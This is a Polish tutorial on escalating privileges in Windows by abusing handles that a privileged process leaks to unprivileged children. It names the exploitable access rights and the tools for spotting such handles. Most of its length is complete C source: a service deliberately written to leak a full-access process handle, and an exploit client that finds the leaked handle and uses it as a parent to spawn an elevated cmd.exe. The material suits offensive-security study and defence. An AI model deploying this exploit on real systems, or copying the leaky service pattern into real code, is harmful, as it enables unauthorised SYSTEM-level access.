Uchwyty w procesie pozwalają na dostęp do różnych zasobów systemu Windows:
Już było kilka przypadków eskalacji uprawnień, w których uprzywilejowany proces z otwartymi i dziedzicznymi uchwytami uruchomił nieuprzywilejowany proces, dając mu dostęp do wszystkich tych uchwytów.
Na przykład, wyobraź sobie, że proces działający jako SYSTEM otwiera nowy proces (OpenProcess()) z pełnym dostępem. Ten sam proces tworzy również nowy proces (CreateProcess()) z niskimi uprawnieniami, ale dziedziczy wszystkie otwarte uchwyty głównego procesu.
Następnie, jeśli masz pełny dostęp do procesu o niskich uprawnieniach, możesz przejąć otwarty uchwyt do uprzywilejowanego procesu utworzonego za pomocą OpenProcess() i wstrzyknąć shellcode.
Interesujące uchwyty
Proces
Jak przeczytałeś w początkowym przykładzie, jeśli nieuprzywilejowany proces dziedziczy uchwyt procesuuprzywilejowanego procesu z wystarczającymi uprawnieniami, będzie w stanie wykonać dowolny kod na nim.
W tym doskonałym artykule możesz zobaczyć, jak wykorzystać dowolny uchwyt procesu, który ma którekolwiek z następujących uprawnień:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Wątek
Podobnie jak w przypadku uchwytów procesów, jeśli nieuprzywilejowany proces dziedziczy uchwyt wątkuuprzywilejowanego procesu z wystarczającymi uprawnieniami, będzie w stanie wykonać dowolny kod na nim.
W tym doskonałym artykule możesz również zobaczyć, jak wykorzystać dowolny uchwyt procesu, który ma którekolwiek z następujących uprawnień:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Uchwyty plików, kluczy i sekcji
Jeśli nieuprzywilejowany proces dziedziczyuchwyt z uprawnieniami równoważnymi do zapisu nad uprzywilejowanym plikiem lub rejestrem, będzie w stanie nadpisać plik/rejestr (i z dużą szczęściem, eskalować uprawnienia).
Uchwyty sekcji są podobne do uchwytów plików, a wspólną nazwą tego rodzaju obiektów jest "Mapowanie plików". Służą do pracy z dużymi plikami bez trzymania całego pliku w pamięci. To sprawia, że eksploatacja jest "podobna" do eksploatacji uchwytu pliku.
Jak zobaczyć uchwyty procesów
Process Hacker
Process Hacker to narzędzie, które możesz pobrać za darmo. Ma kilka niesamowitych opcji do inspekcji procesów, a jedną z nich jest możliwość zobaczenia uchwytów każdego procesu.
Zauważ, że aby zobaczyć wszystkie uchwyty wszystkich procesów, potrzebne są uprawnienia SeDebugPrivilege (więc musisz uruchomić Process Hacker jako administrator).
Aby zobaczyć uchwyty procesu, kliknij prawym przyciskiem myszy na proces i wybierz Uchwyty:
Możesz następnie kliknąć prawym przyciskiem myszy na uchwyt i sprawdzić uprawnienia:
Uchwyty Sysinternals
Uchwyty z Sysinternals również wyświetlą uchwyty na proces w konsoli:
LeakedHandlesFinder
To narzędzie pozwala na monitorowanie wyciekłych uchwytów i nawet automatyczne ich eksploatowanie w celu eskalacji uprawnień.
Metodologia
Teraz, gdy wiesz, jak znaleźć uchwyty procesów, musisz sprawdzić, czy jakikolwiek nieuprzywilejowany proces ma dostęp do uprzywilejowanych uchwytów. W takim przypadku użytkownik procesu mógłby uzyskać uchwyt i nadużyć go, aby eskalować uprawnienia.
Wspomniano wcześniej, że potrzebujesz SeDebugPrivilege, aby uzyskać dostęp do wszystkich uchwytów. Ale użytkownik nadal może uzyskać dostęp do uchwytów swoich procesów, więc może to być przydatne, jeśli chcesz eskalować uprawnienia tylko z tego użytkownika, aby wykonywać narzędzia z regularnymi uprawnieniami użytkownika.
Na przykład, poniższy kod należy do usługi Windows, która byłaby podatna. Podatny kod tego binarnego pliku usługi znajduje się w funkcji Exploit. Ta funkcja zaczyna tworzyć nowy proces uchwytu z pełnym dostępem. Następnie tworzy proces o niskich uprawnieniach (poprzez skopiowanie tokena o niskich uprawnieniach z explorer.exe), wykonując C:\users\username\desktop\client.exe. Podatność polega na tym, że tworzy proces o niskich uprawnieniach z bInheritHandles ustawionym na TRUE.
W związku z tym, ten proces o niskich uprawnieniach jest w stanie przejąć uchwyt wysoko uprzywilejowanego procesu utworzonego jako pierwszy i wstrzyknąć oraz wykonać shellcode (patrz następna sekcja).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Exploit Example 1
W rzeczywistym scenariuszu prawdopodobnie nie będziesz w stanie kontrolować binarnego pliku, który ma być wykonany przez podatny kod (C:\users\username\desktop\client.exe w tym przypadku). Prawdopodobnie skompromitujesz proces i będziesz musiał sprawdzić, czy możesz uzyskać dostęp do jakiegokolwiek podatnego uchwytu jakiegokolwiek uprzywilejowanego procesu.
W tym przykładzie możesz znaleźć kod możliwego exploita dla C:\users\username\desktop\client.exe.
Najciekawsza część tego kodu znajduje się w GetVulnProcHandle. Ta funkcja rozpocznie pobieranie wszystkich uchwytów, następnie sprawdzi, czy którykolwiek z nich należy do tego samego PID i czy uchwyt należy do procesu. Jeśli wszystkie te wymagania są spełnione (znaleziono dostępny otwarty uchwyt procesu), próbuje wstrzyknąć i wykonać shellcode, wykorzystując uchwyt procesu.
Wstrzyknięcie shellcode odbywa się wewnątrz funkcji Inject i po prostu zapisuje shellcode wewnątrz uprzywilejowanego procesu i tworzy wątek wewnątrz tego samego procesu, aby wykonać shellcode).
W rzeczywistym scenariuszu prawdopodobnie nie będziesz w stanie kontrolować binarnego pliku, który ma być wykonany przez podatny kod (C:\users\username\desktop\client.exe w tym przypadku). Prawdopodobnie skompromitujesz proces i będziesz musiał sprawdzić, czy możesz uzyskać dostęp do jakiegokolwiek podatnego uchwytu jakiegoś uprzywilejowanego procesu.
W tym przykładzie, zamiast nadużywać otwartego uchwytu do wstrzykiwania i wykonywania shellcode, zostanie użyty token procesu z otwartego uprzywilejowanego uchwytu do stworzenia nowego. To jest zrealizowane w liniach od 138 do 148.
Zauważ, jak funkcja UpdateProcThreadAttribute jest używana z atrybutem PROC_THREAD_ATTRIBUTE_PARENT_PROCESS oraz uchwytem do otwartego uprzywilejowanego procesu. Oznacza to, że utworzony wątek procesu wykonującego _cmd.exe_** będzie miał te same uprawnienia tokena co proces z otwartym uchwytem**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList,0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,&hProc,sizeof(HANDLE),NULL,NULL);si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
To narzędzie pozwala monitorować wyciekające uchwyty, aby znaleźć podatne oraz nawet je automatycznie wykorzystać. Posiada również narzędzie do wycieku jednego.